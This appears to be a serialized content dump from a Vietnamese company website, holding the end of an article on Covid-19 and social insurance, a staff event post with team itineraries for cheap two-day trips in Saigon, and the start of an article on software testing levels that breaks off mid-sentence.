được.",[11,2701,2702],{},[1277,2703,55],{},[11,2705,2706],{},[1277,2707,2708],{},[58,2709,2711],{"href":2538,"rel":2710},[62],"Điểm c Khoản 1 Điều 60 Luật Bảo hiểm xã hội 2014",[11,2713,2714],{},[1277,2715,2716],{},[58,2717,2720],{"href":2718,"rel":2719},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FThong-tu-56-2017-TT-BYT-huong-dan-Luat-bao-hiem-xa-hoi-va-Luat-an-toan-ve-sinh-lao-dong-341271.aspx",[62],"Điều 4 Thông tư 56\u002F2017\u002FTT-BYT",{"title":66,"searchDepth":67,"depth":67,"links":2722},[],"2021-05-14","Trong mùa đại dịch, hiện tại dịch bệnh Covid-19 đang diễn biến khá phức tạp, chắc hẳn có rất nhiều người lao động (NLĐ) đặt ra câu hỏi “nếu NLĐ không may bị nhiễm Covid-19 buộc nghỉ việc để cách ly, chữa trị và không thể tiếp tục làm việc thì NLĐ có thể xin nhận Bảo Hiểm Xã Hội (BHXH) 1 lần hay không?",{},"\u002Fvi\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan",{"title":2654,"description":2724},"vi\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F19164237\u002FBiNhiemCovid19CoDuocNhanBHXH.png","gNAx9KeLIuBj7cWFlEFnnvF7FE_WTwHQYDt57VtqFIM",{"id":2732,"title":2733,"body":2734,"category":2902,"created by":240,"date":2903,"description":2904,"extension":72,"meta":2905,"navigation":74,"path":2906,"sections":76,"seo":2907,"stem":2908,"thumbnail":2909,"__hash__":2910},"content_vi\u002Fvi\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon.md","Briswell Vietnam World Cafe 2022 - Tour giá rẻ tại Sài Gòn",{"type":8,"value":2735,"toc":2900},[2736,2739,2742,2745,2754,2757,2763,2766,2769,2772,2775,2779,2782,2785,2788,2791,2795,2802,2806,2809,2812,2815,2819,2825,2829,2832,2835,2839,2845,2849,2852,2855,2858,2861,2864,2867,2871,2877,2881,2884,2887,2890,2894],[11,2737,2738],{},"Lâu lắm rồi mới có một event được tổ chức tại văn phòng.",[11,2740,2741],{},"Nhiều nhân viên làm việc tại nhà nên dù cho môi trường làm việc đã được nâng cao nhưng lại ít có dịp để mọi người giao tiếp và hỏi thăm lẫn nhau. Điều đó đã gây khó khăn cho việc việc xây dựng mối quan hệ hơn trước.",[11,2743,2744],{},"Đặc biệt là sự xa cách trong mối quan hệ giữa nhân viên mới và các nhân viên thường xuyên làm việc tại nhà.",[11,2746,2747,2748,2753],{},"Vì vậy, chúng tôi đã tổ chức ",[58,2749,2752],{"href":2750,"rel":2751},"https:\u002F\u002Fmspguide.org\u002F2022\u002F03\u002F18\u002Fworld-cafe\u002F",[62],"\"World Cafe\""," - event công ty tại văn phòng.",[11,2755,2756],{},"Dựa trên chủ đề đưa ra, mỗi team sẽ thảo luận theo phong cách brain-storming. Tuy nhiên, thay vì chỉ tiếp tục thảo luận cùng với thành viên cùng nhóm, tại vòng 2, thành viên của các nhóm sẽ được thay đổi nhằm tìm kiếm ý tưởng mới. Các thành viên ban đầu của nhóm quay trở lại để thảo luận và trau chuốt lại ý tưởng của nhóm mình.",[11,2758,2759,2760,64],{},"Chủ đề lần này là: ",[20,2761,2762],{},"\"Chuyến đi 2 ngày với kinh phí 1.000.000 VND cho người nước ngoài, không có trong các hướng dẫn du lịch\"",[11,2764,2765],{},"Một chủ đề dễ thảo luận được đưa ra vì mục đích chính của event lần này là để mọi người từ tất cả bộ phận, bao gồm admin, dev, com có thể tham gia và cải thiện giao tiếp.",[11,2767,2768],{},"Thành quả của các nhóm được giới thiệu ở bên dưới.",[11,2770,2771],{},"Xin lưu ý, \"1.000.000VNĐ\" là một ẩn dụ của giá cả phải chăng, chỉ những người đã trải nghiệm qua mới biết liệu \"1.000.000VNĐ\" có thực sự đủ hay không.",[11,2773,2774],{},"Chúng tôi không chịu trách nhiệm nếu xảy ra chênh lệch về giá cả cũng như tính khả thi của các lịch trình, xin hãy cân nhắc kỹ và chịu trách nhiệm với quyết định của bản thân.",[1800,2776,2778],{"id":2777},"nhóm-1-tiêu-bửu-châu-đỗ-thị-như-bích-ngọc-võ-thị-bảo-trân-nguyễn-thiên-anh","Nhóm 1: Tiêu Bửu Châu - Đỗ Thị Như Bích Ngọc - Võ Thị Bảo Trân - Nguyễn Thiên Anh",[11,2780,2781],{},"Chào mừng bạn đến với Sài Gòn đông vui và náo nhiệt.",[11,2783,2784],{},"Hai ngày du lịch tại đây, chúng tôi đã sắp xếp lịch trình để mọi người có thể được chiêm ngưỡng và tận hưởng những màu sắc văn hóa đa dạng của thành phố Hồ Chí Minh (TP.HCM).",[11,2786,2787],{},"Chúng ta sẽ thưởng thức các món ăn đậm chất Việt Nam khi ghé qua Phở Hòa, nhà hàng Secret Garden, bánh xèo Đinh Công Tráng hay đơn giản chỉ là ngồi vỉa hè uống cà phê sữa đá. Dinh Độc Lập, Bến nhà Rồng hay Bảo tàng Mỹ Thuật cũng nằm trong lịch trình để chúng ta khám phá các địa điểm nổi tiếng đậm chất Sài Gòn. Sau đấy chúng ta chuyển sang thưởng thức ẩm thực Trung Quốc khi ăn lẩu Haidilao hay cảm nhận đời sống văn hóa người Hoa ở khu quận 5 khi ăn vặt ở đây hoặc khi ghé sang chùa Thiên Hậu và chợ Bình Tây. Cuối cùng là trải nghiệm sự sôi động và sang trọng của phương Tây khi sang khu Thảo Điền hoặc khi ăn pizza 4P's.",[11,2789,2790],{},"Chúc mọi người có một chuyến đi đầy thú vị.",[533,2792],{"className":2793,"alt":66,"src":2794,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25182010\u002FTeam1-1-768x576.jpg",[11,2796,2797],{},[58,2798,2801],{"href":2799,"rel":2800},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HUef41S0tdzCCSqCPZU58F3aDdVgPR8d\u002Fview?usp=sharing",[62],"Movie",[1800,2803,2805],{"id":2804},"nhóm-2-nguyễn-thanh-hữu-tào-viết-hà-nguyễn-văn-sang-võ-ngọc-duy","Nhóm 2: Nguyễn Thanh Hữu - Tào Viết Hà - Nguyễn Văn Sang - Võ Ngọc Duy",[11,2807,2808],{},"Khi đến với Thành phố Hồ Chí Minh thì khách du lịch sẽ có rất nhiều trải nghiệm thú vị, cũng như thưởng thức các món ăn đặc sản ở nơi đây.",[11,2810,2811],{},"Một trong những món ăn không thể thiếu khi đến với TP.HCM đó là: Phở, Cơm tấm, Bánh mì, Bún bò... khách du lịch có thể chọn một trong tất cả món này để ăn sáng hoặc buổi trưa đều rất thích hợp. Ngoài việc ăn uống khách du lịch có thể tham quan một số nơi sau để biết thêm về văn hóa cũng như lịch sử của người Việt Nam: Bảo tàng chiến tranh, Dinh độc lập, Bưu điện thành phố...",[11,2813,2814],{},"Ngoài những địa điểm này khách du lịch có thể đi dạo ban đêm ở Phố đi bộ nguyễn huệ, có thể mua sắm ở các chợ đêm như: Chợ Bến Thành, Chợ Bà Chiểu..., các trung tâm thương mại: NowZone, Aeon mall.. Ngoài việc mua sắm và ăn uống khách du lịch có thể ghé các địa điểm vui chơi nổi tiếng của thảnh phố như: Suối Tiên, Đầm Sen... để trải nghiệm cũng như thưởng thức các trò chơi ở nơi đây.",[533,2816],{"className":2817,"alt":66,"src":2818,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25182253\u002FTeam2-768x576.jpg",[11,2820,2821],{},[58,2822,2801],{"href":2823,"rel":2824},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HVbUiJCD57kpfYzMUhjYKnxfSWVWGn5b\u002Fview?usp=sharing",[62],[1800,2826,2828],{"id":2827},"nhóm-3-châu-lai-gia-thành-nguyễn-văn-trung-lê-ngọc-khánh-nguyễn-hữu-danh-long-trấn-hào","Nhóm 3: Châu Lai Gia Thành - Nguyễn Văn Trung - Lê Ngọc Khánh - Nguyễn Hữu Danh - Long Trấn Hào",[11,2830,2831],{},"Là một thành phố năng động, nhộn nhịp do đó không thiếu những loại hình dịch vụ lưu trú đáp ứng đủ các tầng lớp.  Đến với tìm hiểu lịch sử thành phố chúng ta sẽ đến tham quan các viện bảo tàng hay tìm hiểu văn hóa qua chuyến thăm tới các ngôi chùa cổ.",[11,2833,2834],{},"Tiếp đến, bạn có thể đến trải nghiệm nét hiện đại và mua sắm tại Landmark 81. Ngoài ra đừng quên về ẩm thực Việt Nam, thành phố tụ hội đủ các miền ẩm thực như cơm tấm, bún đậu, bún bò Huế,….",[533,2836],{"className":2837,"alt":66,"src":2838,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183008\u002FTeam3-768x1024.jpg",[11,2840,2841],{},[58,2842,2801],{"href":2843,"rel":2844},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HV6vtwlf6k7Y11EPVGSqDrarkEfLTNtm\u002Fview?usp=sharing",[62],[1800,2846,2848],{"id":2847},"nhóm-4-đỗ-tiệp-khuyên-đặng-thúy-vy-trần-tiến-vinh-phạm-hữu-duy-đặng-minh-đạt","Nhóm 4: Đỗ Tiệp Khuyên - Đặng Thúy Vy - Trần Tiến Vinh - Phạm Hữu Duy - Đặng Minh Đạt",[11,2850,2851],{},"Thành phố Hồ Chí Minh là một khu vực trung tâm vui chơi, giải trí, mua sắm, ăn uống rộng lớn và rất thích hợp để đến du lịch, đặc biệt là đối với du khách nước ngoài.",[11,2853,2854],{},"Bạn có thể đến TPHCM bất cứ thời điểm nào trong năm, đặc biệt là vào các dịp lễ noel hay Tết, vì các hoạt động diễn ra vô cùng sôi nổi. Nhưng để có trải nghiệm tốt nhất thì mình gợi ý là không nên đến vào mùa mưa.",[11,2856,2857],{},"Do mật độ giao thông ở TP.HCM khá đông đúc, nên tránh các \"giờ cao điểm\". Để tiết kiệm, ta có thể di chuyển bằng xe buýt, hoặc thuê xe máy, xe đạp. Xe xích lô cũng là một phương tiện được khá nhiều du khách nước ngoài ưa thích vì đây cũng là một phương tiện khá thú vị, nên trải nghiệm thử một lần.",[11,2859,2860],{},"Với chuyến đi 2 ngày 1 đêm, mình gợi ý các địa điểm không nên bỏ lỡ vào buổi sáng khi vừa đặt chân đến đây như tham quan Nhà thờ Đức Bà, bưu điện Thành phố hoặc các khu vui chơi như Đầm Sen, Suối Tiên, Thảo Cầm Viên. Đêm đến là lúc các hoạt động ở TP.HCM diễn ra sôi nổi nhất, những nơi thú vị có thể kể đến như Bến Nhà Rồng, tòa nhà Landmark nếu bạn là người thích ngắm cảnh, chợ đêm nếu bạn là một người đam mê ăn uống. Phố đi bộ Nguyễn Huệ được mệnh danh là \"thiên đường\" về đêm ở TP.HCM cũng là một địa điểm không thể bỏ lỡ.",[11,2862,2863],{},"Ngày thứ 2, ta có thể đến các khu di tích lịch sử như Dinh Độc Lập, Địa đạo Củ Chi. Đây là những nơi lưu giữ một phần lịch sử hào hùng của dân tộc Việt Nam.",[11,2865,2866],{},"Ngoài ra, nơi đây cũng là nơi tập trung người dân khắp mọi miền đất nước nên ẩm thực cũng vô cùng phong phú, có thể kể đến các món \"đặc sản\" như bánh mì, phở, bún bò, xôi, bánh ướt, vv. Cuối cùng, phần không thể thiếu khi du lịch trở về là quà lưu niệm. Các món quà tuy nhỏ như cà phê, phin pha cà phê, nón lá, bánh phồng tôm,... nhưng sẽ vô cùng ý nghĩa vì chúng mang rất nhiều nét đặc trưng riêng của đất nước Việt Nam.",[533,2868],{"className":2869,"alt":66,"src":2870,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183233\u002FTeam4-768x1024.jpg",[11,2872,2873],{},[58,2874,2801],{"href":2875,"rel":2876},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HWNv5UJi6vmz9B9yGPh7BJD_ew0KHbfv\u002Fview?usp=sharing",[62],[1800,2878,2880],{"id":2879},"nhóm-5-nguyễn-trung-nghĩa-nguyễn-trung-hiếu-nguyễn-văn-hữu-nguyễn-thành-nhân","Nhóm 5: Nguyễn Trung Nghĩa - Nguyễn Trung Hiếu - Nguyễn Văn Hữu - Nguyễn Thành Nhân",[11,2882,2883],{},"Thành phố Hồ Chí Minh hay còn gọi là Sài Gòn. Đây là nơi mọi người từ khắp các vùng miền của Việt Nam đến làm ăn sinh sống, khiến nó trở thành một trong những nơi tốt nhất để ghé thăm nếu bạn muốn có cái nhìn tổng quát về văn hóa của người Việt Nam. Nếu bạn đang lên kế hoạch với ngân sách eo hẹp thì Hồ Chí Minh là một nơi cực kì phù hợp và chúng tôi có một lịch trình cho 1 tour du lịch trong 2 ngày giá rẻ muốn giới thiệu với bạn.",[11,2885,2886],{},"Trong ngày đầu tiên, bạn sẽ được khám phá khu vực nội thành của TP.HCM, nơi tập trung rất nhiều địa điểm ăn vặt cho bạn khám phá nền ẩm thực đường phố Việt Nam. Ngoài ra, thì bạn có thể tìm hiểu về nền văn hóa và lịch sử hào hùng của dân tộc Việt Nam khi ghé thăm các tòa nhà di tích chiến tranh, Dinh độc lập, ... Người ta nói Sài Gòn sống về đêm, hãy cùng khám phá nhịp sống khác hẳn với ban ngày ở Hồ Chí Minh nhé.",[11,2888,2889],{},"Ngày thứ hai bạn sẽ đi ra khu vực ngoại thành và tham quan một địa điểm nổi tiếng là Địa đạo Củ Chi, để biết thêm về cách mà người Việt Nam đã chiến đấu thời chiến tranh. Và tại đây, bạn cũng sẽ được trải nghiệm ẩm thực Củ Chi. Và còn có rất nhiều thứ đang chờ bạn khám phá ở Hồ Chí Minh!",[533,2891],{"className":2892,"alt":66,"src":2893,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183342\u002FTeam5-768x576.jpg",[11,2895,2896],{},[58,2897,2801],{"href":2898,"rel":2899},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HWc9ooK7ibBvpRv2H5tM9adxm8tv7OJw\u002Fview?usp=sharing",[62],{"title":66,"searchDepth":67,"depth":67,"links":2901},[],"event","2022-08-30","Lâu lắm rồi mới có một event được tổ chức tại văn phòng. Nhiều nhân viên làm việc tại nhà nên dù cho môi trường làm việc đã được nâng cao nhưng lại ít có dịp để mọi người giao tiếp và hỏi thăm lẫn nhau. Điều đó đã gây khó khăn cho việc việc xây dựng mối quan hệ hơn trước. Đặc biệt là sự xa cách trong mối quan hệ giữa nhân viên mới và các nhân viên thường xuyên làm việc tại nhà.",{},"\u002Fvi\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon",{"title":2733,"description":2904},"vi\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25180149\u002Fdiscussion.jpg","b1kZwalEuHYA9XEIykiM8iXv8k8WFXz8bFQsIp6H4QE",{"id":2912,"title":2913,"body":2914,"category":356,"created by":70,"date":3793,"description":3794,"extension":72,"meta":3795,"navigation":74,"path":3796,"sections":76,"seo":3797,"stem":3798,"thumbnail":3799,"__hash__":3800},"content_vi\u002Fvi\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem.md","CÁC CẤP ĐỘ KIỂM THỬ PHẦN MỀM",{"type":8,"value":2915,"toc":3784},[2916,2919,2922,2925,2928,2931,2945,2951,2954,2960,2963,2983,2989,2992,3006,3012,3015,3029,3035,3038,3049,3052,3055,3058,3061,3067,3070,3073,3079,3082,3085,3088,3091,3097,3100,3108,3114,3117,3120,3126,3129,3132,3138,3141,3147,3150,3153,3158,3161,3172,3175,3180,3183,3203,3209,3212,3232,3238,3241,3255,3258,3264,3271,3291,3297,3315,3318,3324,3332,3337,3340,3346,3349,3355,3358,3387,3392,3395,3409,3415,3418,3432,3435,3438,3444,3447,3467,3470,3473,3478,3481,3487,3495,3498,3501,3507,3510,3527,3533,3536,3542,3545,3571,3577,3580,3586,3589,3595,3598,3601,3604,3610,3624,3629,3632,3655,3661,3664,3678,3683,3686,3689,3753,3758,3761,3769,3772,3775,3778],[11,2917,2918],{},"Kiểm thử được thực hiện ở nhiều cấp độ khác nhau, từ cấp độ theo đơn vị nhỏ (unit) đến cấp độ theo hệ thống (systems) hoặc tập hợp các hệ thống (system of systems) (các hệ thống quy mô lớn được cấu thành từ nhiều hệ thống, chẳng hạn như hệ thống sử dụng ở ngân hàng). ",[11,2920,2921],{},"Kiểm thử có thể được tiến hành để kiểm tra xem code có đúng không và cũng để xác nhận xem người dùng có thể sử dụng một cách thuận tiện trong công việc hay không, do đó tùy vào mục đích và kiểu kiểm thử mà các lỗi được phát hiện ra sẽ khác nhau. Thay vì kiểm thử những yếu tố khác nhau cùng một lúc, sẽ hiệu quả hơn nếu ta hệ thống hóa và quản lý từng yếu tố một cách có tổ chức.",[11,2923,2924],{},"Các cấp độ kiểm thử có thể được liên kết đến các hoạt động trong quy trình phát triển, chẳng hạn như định nghĩa yêu cầu, thiết kế cơ bản, thiết kế chi tiết. ",[11,2926,2927],{},"Trong các dự án thực tế, các hoạt động trong quy trình phát triển có thể trải qua nhiều giai đoạn hơn, tùy thuộc vào đối tượng kiểm thử là gì. Do đó, định nghĩa cho các cấp độ kiểm thử cũng như số lượng các cấp độ kiểm thử sẽ thay đổi tùy theo quy mô đối tượng kiểm thử.",[11,2929,2930],{},"Trong bài viết này, chúng ta sẽ tìm hiểu về 4 cấp độ kiểm thử được tiến hành ở nhiều tổ chức, đó là các cấp độ kiểm thử sau đây: ",[31,2932,2933,2936,2939,2942],{},[34,2934,2935],{},"Kiểm thử thành phần (Component Test)",[34,2937,2938],{},"Kiểm thử tích hợp (Integration Test)",[34,2940,2941],{},"Kiểm thử hệ thống (System Test)",[34,2943,2944],{},"Kiểm thử nghiệm thu người dùng (User Acceptance Test)",[498,2946,2948],{"id":2947},"_1-kiểm-thử-thành-phần-component-test",[20,2949,2950],{},"1\u002F Kiểm thử thành phần (Component Test)",[11,2952,2953],{},"Các phần mềm có thể tách rời như các thành phần (component) hoặc mô-đun (module) được kiểm thử bằng cách sử dụng các đối tượng giả lập (mock object), ảo hóa dịch vụ (service virtualization), khai thác kiểm thử (harness), mô phỏng (stub), trình điều khiển (driver), hoặc trình mô phỏng (simulator) để tách chúng ra khỏi các phần khác của hệ thống. Loại kiểm thử này còn được gọi là kiểm thử đơn vị (Unit Test) hoặc kiểm thử mô-đun (module test).",[1800,2955,2957],{"id":2956},"mục-đích-kiểm-thử",[20,2958,2959],{},"Mục đích kiểm thử",[11,2961,2962],{},"Dưới đây là các mục đích của Kiểm thử thành phần: ",[31,2964,2965,2968,2971,2974,2977,2980],{},[34,2966,2967],{},"Tìm ra các lỗi của đối tượng kiểm thử",[34,2969,2970],{},"Xác nhận đối tượng kiểm thử có hoạt động đúng theo đặc tả hay không",[34,2972,2973],{},"Kiểm tra xem các hành vi phi chức năng (non-functional behavior) của đối tượng kiểm thử có đúng với thiết kế và đặc tả hay không",[34,2975,2976],{},"Đảm bảo chất lượng của đối tượng kiểm thử là đáng tin cậy",[34,2978,2979],{},"Phát hiện và không để sót một lỗi nào",[34,2981,2982],{},"Giảm thiểu rủi ro xuống mức thấp nhất",[1800,2984,2986],{"id":2985},"đối-tượng-kiểm-thử",[20,2987,2988],{},"Đối tượng kiểm thử",[11,2990,2991],{},"Các đối tượng sau đây được liệt kê làm đối tượng của kiểm thử thành phần (Component Test):",[31,2993,2994,2997,3000,3003],{},[34,2995,2996],{},"Thành phần (component), đơn vị (unit), mô-đun (module)",[34,2998,2999],{},"Mã nguồn (code) và cấu trúc dữ liệu",[34,3001,3002],{},"Class",[34,3004,3005],{},"Mô-đun cơ sở dữ liệu (database module)",[1800,3007,3009],{"id":3008},"các-kiểu-kiểm-thử",[20,3010,3011],{},"Các kiểu kiểm thử",[11,3013,3014],{},"Các loại kiểm thử chính được thực hiện trong kiểm thử thành phần (Component Test) bao gồm:",[31,3016,3017,3020,3023,3026],{},[34,3018,3019],{},"Kiểm thử chức năng (functional test)",[34,3021,3022],{},"Kiểm thử phi chức năng (non-functional test)",[34,3024,3025],{},"Kiểm thử hộp trắng (white-box test)",[34,3027,3028],{},"Kiểm thử hồi quy (regression test)",[1800,3030,3032],{"id":3031},"các-lỗi-điển-hình",[20,3033,3034],{},"Các lỗi điển hình",[11,3036,3037],{},"Các lỗi thường được phát hiện trong kiểm thử thành phần (Component Test) bao gồm:",[31,3039,3040,3043,3046],{},[34,3041,3042],{},"Chức năng không hợp lệ, không đúng với đặc tả",[34,3044,3045],{},"Vấn đề về luồng dữ liệu (data flow)",[34,3047,3048],{},"Lỗi trong mã nguồn (code) hoặc logic",[11,3050,3051],{},"Trong một số dự án, các vấn đề về hiệu suất được phát hiện qua đo lường hiệu suất có thể được xem là lỗi về hiệu suất (performance defect).",[11,3053,3054],{},"Trong kiểm thử thành phần, thường sẽ sửa lỗi ngay sau khi phát hiện. Tuy nhiên, điều này không có nghĩa là không sử dụng công cụ quản lý lỗi. Công cụ vẫn được sử dụng, nhưng không nhất thiết phải tuân thủ nghiêm ngặt quy trình hoặc phân loại lỗi theo tiêu chuẩn tổ chức.",[11,3056,3057],{},"Do đó, cần tránh hiểu lầm rằng \"không cần quản lý lỗi trong kiểm thử thành phần.\" Trong một số dự án, việc quản lý lỗi trong kiểm thử thành phần cũng được thực hiện để cải thiện quy trình.",[11,3059,3060],{},"Tùy vào tình huống, cần xác định liệu ưu tiên tốc độ hay nhắm tới cải tiến quy trình, từ đó quyết định cách tiếp cận đối với việc quản lý lỗi một cách phù hợp.",[1800,3062,3064],{"id":3063},"người-thực-hiện-kiểm-thử",[20,3065,3066],{},"Người thực hiện kiểm thử",[11,3068,3069],{},"Kiểm thử thành phần (Component Test) thường do chính lập trình viên đã viết code thực hiện. Tuy nhiên, trong một số trường hợp, kiểm thử có thể được thực hiện bởi các thành viên thuộc đội ngũ kiểm thử chuyên trách.",[11,3071,3072],{},"Việc kiểm thử này không chỉ được tiến hành bởi một mình lập trình viên mà thường được thực hiện với sự tham gia của các lập trình viên khác. Ngoài ra, các lỗi được phát hiện trong kiểm thử thành phần sẽ do chính lập trình viên phụ trách sửa chữa.",[1800,3074,3076],{"id":3075},"phương-pháp-đặc-thù",[20,3077,3078],{},"Phương pháp đặc thù",[11,3080,3081],{},"Trong mô hình Agile, tự động hóa kiểm thử là việc vô cùng phổ biến. Tạo danh sách kiểm thử, xây dựng cơ chế thực thi kiểm thử tự động, sau đó phát triển mã nguồn dựa trên chu kỳ phát triển các trường hợp kiểm thử, đồng thời lặp đi lặp lại sửa chữa cho đến khi vượt qua (pass) kiểm thử thành phần (Component Test).",[11,3083,3084],{},"Gần đây, phương pháp phát triển với việc thay đổi mã nguồn liên tục như trong mô hình Agile đã trở thành xu hướng chủ đạo. Do đó, việc xác nhận độ tin cậy thông qua kiểm thử hồi quy (regression test) nhằm đảm bảo rằng những thay đổi mã nguồn không ảnh hưởng đến các thành phần hiện có chính là một mục tiêu quan trọng.",[11,3086,3087],{},"Trong nhiều tổ chức hoặc dự án, cách nghĩ rằng “việc kiểm tra hành vi phi chức năng sẽ được thực hiện ở cấp độ kiểm thử hệ thống” có thể được xem là bình thường. Quả là như vậy, thông thường người ta sẽ tiến hành kiểm thử phi chức năng sau khi đã phát hiện đầy đủ lỗi thông qua kiểm thử chức năng. Tuy nhiên, tại giai đoạn kiểm thử thành phần, việc đo lường hiệu suất của các mô-đun quan trọng và điều chỉnh chúng một cách phù hợp cũng rất quan trọng. Nếu bỏ qua điều này, có thể xảy ra các vấn đề về hiệu suất ở giai đoạn kiểm thử hệ thống, dẫn đến tốn nhiều công số trong việc sửa mã nguồn và cuối cùng ảnh hưởng đến thời gian phát hành sản phẩm.",[11,3089,3090],{},"Vì vậy, cần nhận thức rõ rằng trong kiểm thử thành phần cũng có trường hợp phải xác nhận các hành vi phi chức năng.",[498,3092,3094],{"id":3093},"_2-kiểm-thử-tích-hợp-integration-test",[20,3095,3096],{},"2\u002F Kiểm thử tích hợp (Integration Test)",[11,3098,3099],{},"Kiểm thử tích hợp được chia thành hai loại chính:",[31,3101,3102,3105],{},[34,3103,3104],{},"Kiểm thử tích hợp thành phần (Component Integration Test)",[34,3106,3107],{},"Kiểm thử tích hợp hệ thống (System Integration Test)",[1800,3109,3111],{"id":3110},"kiểm-thử-tích-hợp-thành-phần",[20,3112,3113],{},"Kiểm thử tích hợp thành phần",[11,3115,3116],{},"Kiểm thử tích hợp thành phần được thực hiện sau khi kiểm thử thành phần (Component Test) hoàn tất, tập trung vào giao diện giữa các thành phần và cách chúng hoạt động cùng nhau. Vì chức năng của từng thành phần riêng lẻ đã được đánh giá trong kiểm thử thành phần, nên kiểm thử này chủ yếu tập trung vào các phần kết nối giữa các thành phần.",[11,3118,3119],{},"Đặc biệt, trong phát triển lặp (Iterative Development) hoặc phát triển gia tăng (Incremental Development), việc tự động hóa kiểm thử này và thực hiện nó như một phần của tích hợp liên tục (Continuous Integration) là điều phổ biến.",[1800,3121,3123],{"id":3122},"chiến-lược-tích-hợp-và-tầm-quan-trọng-của-nó",[20,3124,3125],{},"Chiến lược tích hợp và tầm quan trọng của nó",[11,3127,3128],{},"Có những trường hợp các dự án cố gắng tăng hiệu quả bằng cách tích hợp một lúc nhiều thành phần và kiểm thử tất cả cùng một lần (được gọi là “Tích hợp kiểu Big Bang”). Tuy nhiên, cách tiếp cận này thường không hiệu quả. Nguyên nhân là khi phạm vi tích hợp quá rộng, nếu xảy ra lỗi, rất khó xác định thành phần nào gây ra vấn đề. Điều này dẫn đến việc gỡ lỗi và sửa chữa mất nhiều thời gian hơn.",[11,3130,3131],{},"Để phát hiện và sửa lỗi một cách nhanh chóng, điều quan trọng là tiến hành tích hợp theo từng bước. Vì vậy, hiện nay, thay vì tích hợp tất cả cùng lúc, kiểm thử tích hợp dựa trên một chiến lược tích hợp có hệ thống được áp dụng rộng rãi. Chiến lược này tiến hành tích hợp dần dần dựa trên kiến trúc hệ thống (ví dụ: từ trên xuống - top-down hoặc từ dưới lên - bottom-up), nhiệm vụ chức năng, hoặc trình tự xử lý giao dịch.",[1800,3133,3135],{"id":3134},"quy-trình-tích-hợp-lý-tưởng",[20,3136,3137],{},"Quy trình tích hợp lý tưởng",[11,3139,3140],{},"Khi thực hiện tích hợp theo từng bước, lý tưởng nhất là người thực hiện kiểm thử hiểu rõ cấu trúc của chiến lược tích hợp cũng như tác động của quá trình tích hợp. Điều này giúp quy trình tích hợp diễn ra suôn sẻ, đồng thời cho phép phát hiện và sửa lỗi sớm một cách hiệu quả.",[1800,3142,3144],{"id":3143},"kiểm-thử-tích-hợp-hệ-thống",[20,3145,3146],{},"Kiểm thử tích hợp hệ thống",[11,3148,3149],{},"Kiểm thử tích hợp hệ thống được thực hiện song song hoặc sau khi kiểm thử hệ thống hoàn thành, tập trung vào giao diện và các xử lý tương tác với các hệ thống khác.",[11,3151,3152],{},"Trong kiểm thử hệ thống, hành vi của các hệ thống khác thường được mô phỏng, vì vậy cần tiến hành kiểm thử trong môi trường tích hợp thực tế để kiểm tra toàn bộ quy trình kinh doanh. Ví dụ: tích hợp hệ thống xử lý đơn đặt hàng với hệ thống xử lý vận chuyển và hệ thống xử lý hóa đơn để kiểm tra toàn bộ quy trình quản lý bán hàng.",[1800,3154,3156],{"id":3155},"đối-tượng-kiểm-thử-1",[20,3157,2988],{},[11,3159,3160],{},"Kiểm thử tích hợp hệ thống tập trung vào:",[31,3162,3163,3166,3169],{},[34,3164,3165],{},"Giao diện và xử lý tương tác với các hệ thống khác",[34,3167,3168],{},"Các gói phần mềm và dịch vụ vi mô (microservices)",[34,3170,3171],{},"Dịch vụ web do tổ chức bên ngoài cung cấp",[11,3173,3174],{},"Khi tích hợp với các hệ thống hoặc dịch vụ bên ngoài, các hạn chế về môi trường kiểm thử hoặc lịch trình có thể phát sinh, đặc biệt việc sắp xếp để tiến hành kiểm thử xác nhận có thể mất nhiều thời gian. Tình trạng này có thể xảy ra với bất kể mô hình phát triển nào.",[1800,3176,3178],{"id":3177},"mục-đích-kiểm-thử-1",[20,3179,2959],{},[11,3181,3182],{},"Mục đích của kiểm thử tích hợp bao gồm:",[31,3184,3185,3188,3191,3194,3197,3200],{},[34,3186,3187],{},"Phát hiện lỗi tiềm ẩn trong đối tượng kiểm thử và giao diện.",[34,3189,3190],{},"Kiểm tra xem hành vi chức năng của giao diện khớp với thiết kế và đặc tả hay chưa.",[34,3192,3193],{},"Kiểm tra xem hành vi phi chức năng (như hiệu suất, độ tin cậy) khớp với thiết kế và đặc tả hay chưa.",[34,3195,3196],{},"Đảm bảo độ tin cậy của giao diện và nâng cao chất lượng (tạo dựng lòng tin với khách hàng).",[34,3198,3199],{},"Không bỏ sót lỗi nào.",[34,3201,3202],{},"Giảm thiểu rủi 